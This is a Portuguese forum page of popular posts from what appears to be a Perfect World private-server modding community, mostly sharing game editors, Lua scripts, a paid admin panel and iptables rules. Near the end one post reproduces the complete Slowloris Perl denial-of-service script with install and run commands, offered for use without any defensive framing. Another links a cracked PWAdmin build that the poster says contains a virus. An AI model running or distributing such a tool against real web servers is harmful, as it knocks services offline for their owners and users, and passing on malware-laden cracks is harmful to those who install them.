Os Melhores
Conteúdo popular
Mostrando conteúdo com a maior reputação em 03/16/25 em Posts
-
WinPCK v1.33.0.3 – Atualizado ChangeLog: Leitura de arquivos .cup, o WinPCK fará a decodificação do cup. Instalação no registro do Windows com .cup Leitura de arquivos .pck com .pkx maiores que 2GB Leitura de arquivos .pck com .pkx1 Tradução para o inglês Atualizado para C++20 Atualizado para o Visual Studio 2022 Codigo Fonte: [Conteúdo Oculto] Binarios: [Conteúdo Oculto]/releases v1.33.0.3 - Release.rar v1.33.0.3 - Release-static.rar2 pontos
-
Passo 1: Baixar arquivo "libskill.so" Faça o upload do arquivo "libskill.so" para a pasta "/lib" no seu host. Certifique-se de que o arquivo esteja na localização correta. Passo 2: Modificar o arquivo "start.sh" Abra o arquivo "start.sh" e localize a linha que inicia os mapas. Substitua essa linha pelo seguinte trecho de código: LD_PRELOAD=libskill.so ./gs gs01 gs.conf gmserver.conf gsalias.conf is61 > /home/logs/gsmaps.log & Passo 3: "script.lua" Adicionar o "script.lua " dentro da pasta "home/gamed", Adicionar o "GS" dentro da pasta "home/gamed", "Criar uma pasta com nome var " dentro da pasta "home/gamed", Após seguir esses passos, o Lua na versão 1.5.5 será funcional libskill.so script.lua gs.7z1 ponto
-
Sinceramente eu nunca usei esse editor porém está aqui no meu PC vou postar vai que alguém precisa tai, espero ter ajudado. OllyDbg 2.0.rar1 ponto
-
Painel Administrativo: → Dashboard (Relatórios de Pedido, Contas Criadas, Tickets Recebidos, Doações Pagas, Contas Online). → Logs (Tudo que acontece no painel é registrado na Logs.) → Doações (Gerenciamento de Pedidos, Criar Pacotes, Códigos Promocionais, Configuração de Pagamento, Pin Code[PREMIUM], Item por Cash [PREMIUM] ) → Loja Online (Adicionar / Remover Item da loja, Adicionar / Remover Categorias) → Chamados (Gerenciar Chamados, Gerenciar Departamentos, Configurar Sistema de Chamados) → Funções (Configurar Meridiano [Venda de Meridiano Full], Configurar Título [Venda de Full Título], Configura Banqueiro, Envio de Itens [Correio]) → Gerenciar Servidor (Ligar / Desligar Mapas, Verificar Uso de Memória RAM / Armazenamento, Verificar Serviços Online, Limpar Memória [Drop Cache], Ligar / Desligar Servidor, Configurar Auto Start Maps) [PREMIUM] → Chat Ingame (Ver conversas no game de [Geral, Grupo, Clã, Privado, Global e Mensagem], Enviar Mensagem em diversos Canais.) [PREMIUM] → Firewall (Possível abrir ou fechar porta do firewall também escolhendo bloqueio por IP) [PREMIUM] → Editor de Personagem (Possível Editar informações do personagem, alterar item do inventário, excluir itens e alterar nick) [PREMIUM] → Excluir Personagem (Possível excluir o personagem) [PREMIUM] → Gerenciar Guild (Ver Guilds, Quantidade de Jogadores, Enviar Item para membros da guild, Envio de Gold para Membros, Envio de Prisma para Membros) [PREMIUM] → Jogadores Online (Ver jogadores online, mapa onde estão, IP do jogador, possível enviar item e gold para os mesmos)[PREMIUM] → Gerenciar Mapas (Possível Adicionar/Alterar/Remover Mapas do banco de dados do painel) [PREMIUM] → Envio de Gold (Possível Envio de Gold para Contas Online ou Todas as Contas) [PREMIUM] → Teleporte Point (Configura Sistema de Venda de Teleporte para Personagem) [PREMIUM] → Auto Mensagem ( Configura Mensagem que ficaram aparecendo no servidor de forma automática ) [PREMIUM] → Sistema VIP ( Configura um Sistema que ganha VIP ao fazer doações ganhando % de bônus na futuras doações) [PREMIUM] → Auto Chat Ban ( Configura Mensagens e tipo de banimento além do tempo do banimento quando o jogador digita determina palavra ) [PREMIUM] → Backup Server ( Configura Backups diários que são feito as 00h com envio de mensagem no e-mail do destinatário avisando que o backup foi feito ) [PREMIUM] → Mensagem de Boas vindas ( Anuncia em game quando um personagem é criado ) [PREMIUM] → Configuração de Recursos ( Ativa / Desativa a troca de meridiano full ou título full por determinado item ) [PREMIUM] → LogServer Negociação ( Mostra todas as negociações feitas dentro do jogo ) [PREMIUM] → LogServer Gshop ( Mostra todas as compras feita no Gshop ) [PREMIUM] → LogServer Leilão ( Mostra as vendas e compras de Gold pelo Leilão ) [PREMIUM] → LogServer Missão ( Mostra todas as recompensas ganha em missões ) [PREMIUM] → Meta de Doação ( Ao bater a meta o jogador recebe a premiação determinada pelo administrador ) → Compartilhe e Ganhe ( Ao compartilha o jogador recebe a premiação determinada pelo administrador ) → Gerenciar Contas ( Gerencia todas as contas do jogo ) → Contas Pendentes ( Gerencia as contas pendentes no painel podendo ativar ou remover as contas ) → Contas Administrativa ( Gerencia as contas administrativas do painel podendo adicionar ou remover ADM ) → Contas GM ( Gerencia as conta com GM podendo adicionar ou remover GM ) → Contas Online ( Gerencia todas as contas online no servidor ) Painel do Jogador: → Dashboard ( Ver Personagens, Tickets Abertos, Total de Tickets, Total de Gastos ) → Minha Conta ( Alteração de E-mail, Alteração de Senha, Foto do Perfil, Foto da Capa do Perfil, Adicionar Redes Sociais ) → Personalizar Painel ( Possível alterar cores do painel ) → Doações (Fazer nova Doação, Ver Doações, Presentear Amigo, Trocar Item por Cash [PREMIUM], Pin Code [ Podendo Ganhar Gold e Prisma] [PREMIUM] ) → Loja Online → Comprar Meridiano Full ( Pode comprar por moeda do painel ou por Item ) → Comprar Full Título ( Pode comprar por moeda do painel ou por Item ) → Resete de Banqueiro ( Resetar senha do banqueiro ) → Fixa Teleporte ( Caso o personagem esteja preso em alguma instância ) → Abrir e Gerenciar Chamados → Consignação ( Poder Vender e Comprar itens no painel por Prisma [Moeda do Painel] [PREMIUM] ) → Teleporte Point → Compartilhe e Ganhe → Logs (Todas as ações feita pela conta serão registrada) Valores: Standard : R$59.99/mês Premium: R$119.99/mês Contato: [Conteúdo Oculto]1 ponto
-
1 ponto
-
CRIEI UM SISTEMA PARA TRADUZIR AS PASTAS PARA PORTUGUES DE FORMA QUE FIQUE MELHOR O ENTENDIMENTO PARA FAZER AS MODIFICAÇÕES , OBS : PRECISA VER O VIDEO PRA ENTENDER E FAZER USO CORRETO DO PROGRAMA O PROGRAMA FOI FEIO POR MIM > ZADOCK tradutorpcks.zip1 ponto
-
1 ponto
-
Caso esse limite seja ultrapassado, bloqueia o HWID (identificação única do hardware) e registra informações sobre o IP, quantidade de pacotes enviados e a data Instale o iptables-persistent e o pacote mysql-client sudo apt-get update sudo apt-get install iptables-persistent mysql-client Carregue o módulo xt_recent sudo modprobe xt_recent Regras do iptables sudo iptables -N HWID_BLOCK sudo iptables -A HWID_BLOCK -m recent --name HWID --set --mask 255.255.255.255 --rsource sudo iptables -A HWID_BLOCK -m recent --name HWID --update --seconds 86400 --mask 255.255.255.255 --rsource -j LOG --log-prefix "HWID blocked: " --log-level 4 sudo iptables -A INPUT -p tcp --dport 29000 -m connlimit --connlimit-above 25 --connlimit-mask 0 -j HWID_BLOCK sudo iptables-save | sudo tee /etc/iptables/rules.v4 Crie um script para salvar as informações no MySQL. Por exemplo, crie o arquivo /usr/local/bin/save_to_mysql.sh com o seguinte conteúdo Não se esqueça de criar um banco de dados chamado 'connections' #!/bin/bash IP_ADDRESS=$1 PACKETS=$2 DATE=$(date +"%Y-%m-%d %H:%M:%S") mysql -u <username> -p<password> -e "INSERT INTO connections (ip_address, packets, date) VALUES ('$IP_ADDRESS', '$PACKETS', '$DATE');" <database> Dê permissão de execução ao script sudo chmod +x /usr/local/bin/save_to_mysql.sh Adicione uma regra no iptables para chamar o script quando o limite de conexões for excedido. No exemplo abaixo, assumimos que o script está localizado em /usr/local/bin/save_to_mysql.sh: sudo iptables -A HWID_BLOCK -m recent --name HWID --update --seconds 0 --mask 255.255.255.255 --rsource -j LOG --log-prefix "HWID blocked: " --log-level 4 --nflog-prefix "iptables-save: " --nflog-group 1 --nflog-range 64 --nflog-threshold 10 sudo iptables -A HWID_BLOCK -m recent --name HWID --update --seconds 0 --mask 255.255.255.255 --rsource -j LOG --log-prefix "HWID blocked: " --log-level 4 --nflog-prefix "iptables-save: " --nflog-group 1 --nflog-range 64 --nflog-threshold 10 --nflog-cprange 128 --nflog1 ponto
-
import Foundation import Security // 生成RSA密钥对 func generateRSAKeyPair() throws -> SecKey { let parameters: [String: Any] = [ kSecAttrKeyType as String: kSecAttrKeyTypeRSA, kSecAttrKeySizeInBits as String: 2048 ] var error: Unmanaged<CFError>? guard let privateKey = SecKeyCreateRandomKey(parameters as CFDictionary, &error) else { throw error!.takeRetainedValue() as Error } return privateKey } // 使用公钥RSA加密文件 func encryptFile(withPublicKey publicKey: SecKey, inputFile: URL, outputFile: URL) throws { let inputData = try Data(contentsOf: inputFile) let encryptedData = SecKeyCreateEncryptedData(publicKey, .rsaEncryptionOAEPSHA512, inputData as CFData, nil)! try encryptedData.write(to: outputFile) } // 使用私钥RSA解密文件 func decryptFile(withPrivateKey privateKey: SecKey, inputFile: URL, outputFile: URL) throws { let encryptedData = try Data(contentsOf: inputFile) let decryptedData = SecKeyCreateDecryptedData(privateKey, .rsaEncryptionOAEPSHA512, encryptedData as CFData, nil)! try decryptedData.write(to: outputFile) } // 生成RSA密钥对 let privateKey = try generateRSAKeyPair() let publicKey = SecKeyCopyPublicKey(privateKey)! // 指定输入和输出文件路径 let inputURL = URL(fileURLWithPath: "elements.data") let encryptedOutputURL = URL(fileURLWithPath: "encrypted_elements.data") let decryptedOutputURL = URL(fileURLWithPath: "decrypted_elements.data") // 使用公钥RSA加密文件 do { try encryptFile(withPublicKey: publicKey, inputFile: inputURL, outputFile: encryptedOutputURL) print("文件已成功加密!") } catch { print("加密文件时发生错误:\(error.localizedDescription)") } // 使用私钥RSA解密文件 do { try decryptFile(withPrivateKey: privateKey, inputFile: encryptedOutputURL, outputFile: decryptedOutputURL) print("文件已成功解密!") } catch { print("解密文件时发生错误:\(error.localizedDescription)") }1 ponto
-
Aviso: Contém Vírus do crack use somente para testes. como instalar? PWAdmin 4.5 ENG.7z1 ponto
-
AUIEditor2.1 Como usar: Locale Emulator: Abra o programa "Locale Emulator" executando o arquivo chamado LEGUI.exe. Altere a localização para Chinês Simplificado. Não se esqueça de salvar as configurações depois de fazer a mudança. Utilize um extractor de PCK para extrair os arquivos do tipo "interface.pck , surface.pck ,config.pck , Coloque os arquivos extraídos nas pastas correspondentes. "configs.pck".= "configs" . Agora, abra o AUIEditor2. Basta clicar com o botão direito do mouse no arquivo executável e selecionar a opção Locale Emulator selecionar a opção para abrir. O meu Chinês Simplificado. esta em (wwww) Animações GFX (Opcional gfx.pck , shaders.pck" para carregar as animações . Coloque os arquivos extraídos nas pastas correspondentes. "gfx.pck".= "gfx". Locale.Emulator.zipAUIEditor (interfaces).rar configs.rar Atalho para AUIEditor2 bat para AUIEditor2+Locale.Emulator .cmd >>1.00<< 2024-03-23 23-01-52.mp41 ponto
-
Esse editor foi compilado por mim, qualquer problema só entrar em contato que quando eu tiver um tempo eu respondo nesse link você já vai tirar a maioria das duvidas. [Conteúdo Oculto] AUIEditor2.7z1 ponto
-
Editor fácil de usar. Como começar com a interface: 1) Extrair os arquivos e interfaces.pck surfaces.pck 2) Definir no editor onde o diretório raiz dos arquivos descompactados 3) Editar elementos da interface UIEdit (pdev).rar1 ponto
-
1 ponto
-
Eu tenho muito conteúdo de pw, acumulo de 6 anos trabalhando com Perfect World, o que me falta é tempo para postar, porém aos pouco vou compartilhando, esse cliente na versão 142 é o instalador, perfeito para quem que testa essa versão. Os Abissais viviam em um reino pacífico nas profundezas dos mares do sudeste de Pan Gu, até que algo totalmente inesperado aconteceu: as forças das trevas invadiram o local e dominaram todas as criaturas que ali viviam. Os seres aquáticos foram praticamente dizimados pelas forças da escuridão e muitos sucumbiram aos poderes malignos. Agora cabe a você, guerreiro da superfície, se aliar à resistência dos Abissais e libertar o reino dos mares das forças do mal! NOVA RAÇA: ABISSAIS Os Abissais foram introduzidos no jogo neste episódio, tornando possível jogar com suas duas novas classes: os ágeis e letais Mercenários e os místicos Espiritualistas. NOVAS CLASSES: MERCENÁRIOS E ESPIRITUALISTAS Os Mercenários, assim como os Bárbaros e Guerreiros, são voltados para o combate corpo a corpo. A diferença é que são muito mais ágeis, preferindo usar armaduras leves, que garantem uma melhor mobilidade, e se especializando no uso de adagas. Os Espiritualistas, por sua vez, são uma classe arcana completamente diferente de seus semelhantes, já que, enquanto os Sacerdotes, Magos e Feiticeiras se utilizam dos cinco elementos naturais de Pan Gu (Fogo, Terra, Água, Metal e Madeira), os Abissais fazem uso da força mais primitiva de todas: a energia da própria Alma. NOVAS ÁREAS DE MAR EM FÚRIA Com a chegada desta expansão, passou a ser possível ter acesso a áreas e territórios inéditos de Pan Gu, que antes estavam guardados sob o véu de mistério existente nos oceanos. Entre elas, estão a Cidade da Tormenta e o perigoso Palácio do Nirvana. Download: Clique aqui1 ponto
-
1 ponto
-
Essa ferramenta foi compilada por mim. Faz parte do kit de ferramentas que estou trabalhando para criação e edição de .ecm, gfx e skillgfx, faceEditor... Esse programa é parte das ferramentas usada para criação de modelos dos jogos Angelica. Ela tem multiplas funcionalidades: Model viewer Animação viewer Conversão de Bones Alteção do .ski do .smd(sabe aqueles .ski com que tem na pasta do .ecm que não são usado, você pode trocar a atual por aquelas) Você pode adiocionar novas animações e coisas do tipos desde que tenha a mesma quantidade de ossos. SkeletonEditor_Beta.7z1 ponto
-
Editor de Aipolicy criado pelo Kn1fe e Atualizado para 1.7.6 por mim ele lê e salva aipolicy 172 174 176 source:[Conteúdo Oculto] compilado: AiPolicy Editor 176v40 - Updated by Haly - Release.rar1 ponto
-
1 ponto
-
Boa noite galera, já existe esse editor aqui no fórum.. porem esse aqui ta traduzido e eu inclui o mapa de Quedanunca(a78) no editor. Estou postando pq pedi no grupo esse mapa e ninguém tinha, ai eu fiz e adicionei RegionEditorPTBR.rar1 ponto
-
Permita que os players deixe a lojinha online mesmo depois de fazer logout LojinhaOffline.zip Como instalar: Apenas subistitua e dê permissão Testado apenas na versão 1511 ponto
-
1. Importe o "importar.aeitems" para seu elements.data 2. Substitua o elementclient.exe 3. Coloque os itens no gshop Testado somente na versão 151 NickColorido.zip1 ponto
-
Salve galera!! e @Master =) Venho trazer para vocês um Rebuild da ferramenta World Targets Editor do nosso amigo Luka =). Agora o Editor de World Targets foi aprimorado e recompilado para oferecer suporte à comunidade. Agora, com uma tradução completa para o Português do Brasil, a nossa ferramenta tornou-se ainda mais acessível e fácil de usar para quem quer criar seus pontos de teleporte em Perfect World. Principais Novidades: Tradução para o Português do Brasil: Todo o conteúdo do Editor de World Targets foi traduzido para o Português do Brasil, proporcionando uma experiência mais amigável para usuários de língua portuguesa. Suporte à Versão 1.5.5 v156 do Perfect World: Adicionamos um offset que permite puxar coordenadas diretamente da versão 1.5.5 v156 do Perfect World. Agora, você pode aproveitar ao máximo as funcionalidades do Editor com a versão mais recente do jogo e com mais facilidade na hora de editar =). Como Usar o Editor de World Targets: Para utilizar o Editor de World Targets, siga as seguintes etapas simples: Obtenha os Arquivos Necessários: Localize o arquivo "world_targets.txt" em seu cliente, geralmente armazenado no diretório "element/maps/world/". Adquira o arquivo "world_targets.sev" do lado do servidor, disponível em "/home/gamed/config/world_targets.sev". Organize seus Arquivos: Recomendo criar uma pasta separada para manter os arquivos organizados e evitar confusões. Abra o Editor: Execute o Editor de World Targets. No menu "Arquivos", escolha "Abrir world_targets.sev" para o arquivo do servidor e "Abrir world_targets.txt" para o arquivo do cliente. OU Utilize a abordagem simplificada: clique nos ícones de pasta azul para abrir o arquivo "sev" e no ícone de pasta amarela para abrir o arquivo "txt". Tutorial de como fazer um ponto de Teleporte mais detalhadamente em breve em vídeo. virus total: 1e514ed786a876baaccbc382b013d7c0411ba6ff9d733751f5c85f35212015d3 NEX WORLD TARGETS EDITOR.rar1 ponto
-
Abre todas as versões, eu recompilei e traduzi essa é a ultima versão disponível, funciona em multiplos jogos Angelica. Testado em : PW , FW , SSO. criado por : [Conteúdo Oculto] Release.7z1 ponto
-
1 ponto
-
Vídeo novo no canal: macete muito bom pra altera nomes n cliente do pw, quem gostou comenta ai e da like para fortalece a caminhada! Programas usados: Programas usados: PCK Module.rar agentransack_3389.rar1 ponto
-
1 ponto
-
1 ponto
-
Olá pessoal, Aqui no forum tem um tutorial, ensinando a por luz nos mobs de quests, vou deixar o link ao final do post, Porém esse tutorial pula algumas etapas, e gostaria de pedir pra alguem ensinar os processos de descompilação / compilação, e a inserir os arquivos compilados no jogo, Ou mesmo fazer o procedimento do tutorial em um vídeo, nem precisa ser de uma forma tão didática, só para podermos ter uma noção por onde começar, Agradeço desde já. Link do tutorial:1 ponto
-
1 ponto
-
Tem outros bem melhores, em breve serão (re)postados no fórum novamente, por enquanto tenho esse sTASKedit.zip1 ponto
-
Fiz esse script ja tem um tempo, talvez seja util para alguem. O monstro ja vem linkado no chat, basta clicar e o auto caminho do jogo te leva até as coordenadas atual do boss. Vá ate function EventOnPlayerChat no script.lua e adicione: if chanel == 1 and cmdlist[1] == "!boss" then local bosses = { {id = 19462, nome = "Profundeza"}, {id = 19463, nome = "Mistério"}, {id = 19464, nome = "Devorador das Trevas"}, {id = 19465, nome = "Servo Fantasma"}, {id = 19466, nome = "Lança da Morte"}, {id = 19467, nome = "Perfurador de Corações"}, {id = 19468, nome = "Alfa"}, {id = 19469, nome = "Escudo Apu"}, {id = 19470, nome = "Sombra das Trevas"}, {id = 19471, nome = "Colecionador de Sons"}, {id = 19472, nome = "Caçador de Alma"}, {id = 19473, nome = "Rei do Chifre Dourado"}, {id = 19474, nome = "Guerreiro Mosca do Céu"}, {id = 19475, nome = "Espada Demoníaca"}, {id = 19476, nome = "Aniquilador de Aranhas"}, {id = 19477, nome = "Facão Demoníaco"} } for _, boss in ipairs(bosses) do local pNpc = game__GetObjectVar(NPC_COORDS_BY_TID, 0, boss.id) if pNpc == 0 then game__ChatMsg(CHAT_SINGLE, roleid, 11, "^FF8000" .. boss.nome .. ": Aguardando Respawn...", -1) else local x, y, z = game__GetCoordDataClient(pNpc) local sx, sy, sz = game__GetCoordData(pNpc) game__ChatMsg(CHAT_SINGLE, roleid, 11, "<11><"..boss.nome.." - Está nas coordenadas: "..int(x)..", "..int(z).."><1,"..int(sx)..","..int(sy)..","..int(sz)..">", -1) end end return 0 end Resultado:-1 pontos
-
Como Usar o Slowloris VERSÕES AFETADAS Este problema impacta vários servidores web, incluindo: Apache (versões 1.x e 2.x) dhttpd GoAhead WebServer Possivelmente outros servidores web Requisitos: sudo apt-get update sudo apt-get install perl sudo apt-get install libwww-mechanize-shell-perl sudo apt-get install perl-mechanize Utilizando ./slowloris.pl perl slowloris.pl -dns 127.0.0.1 -options #!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client by Laera Loris EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris by llaera =head1 VERSION Version 1.0 Stable =head1 DATE 02/11/2013 =head1 AUTHOR Laera Loris [email protected] =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?-1 pontos
-
-1 pontos
-
-1 pontos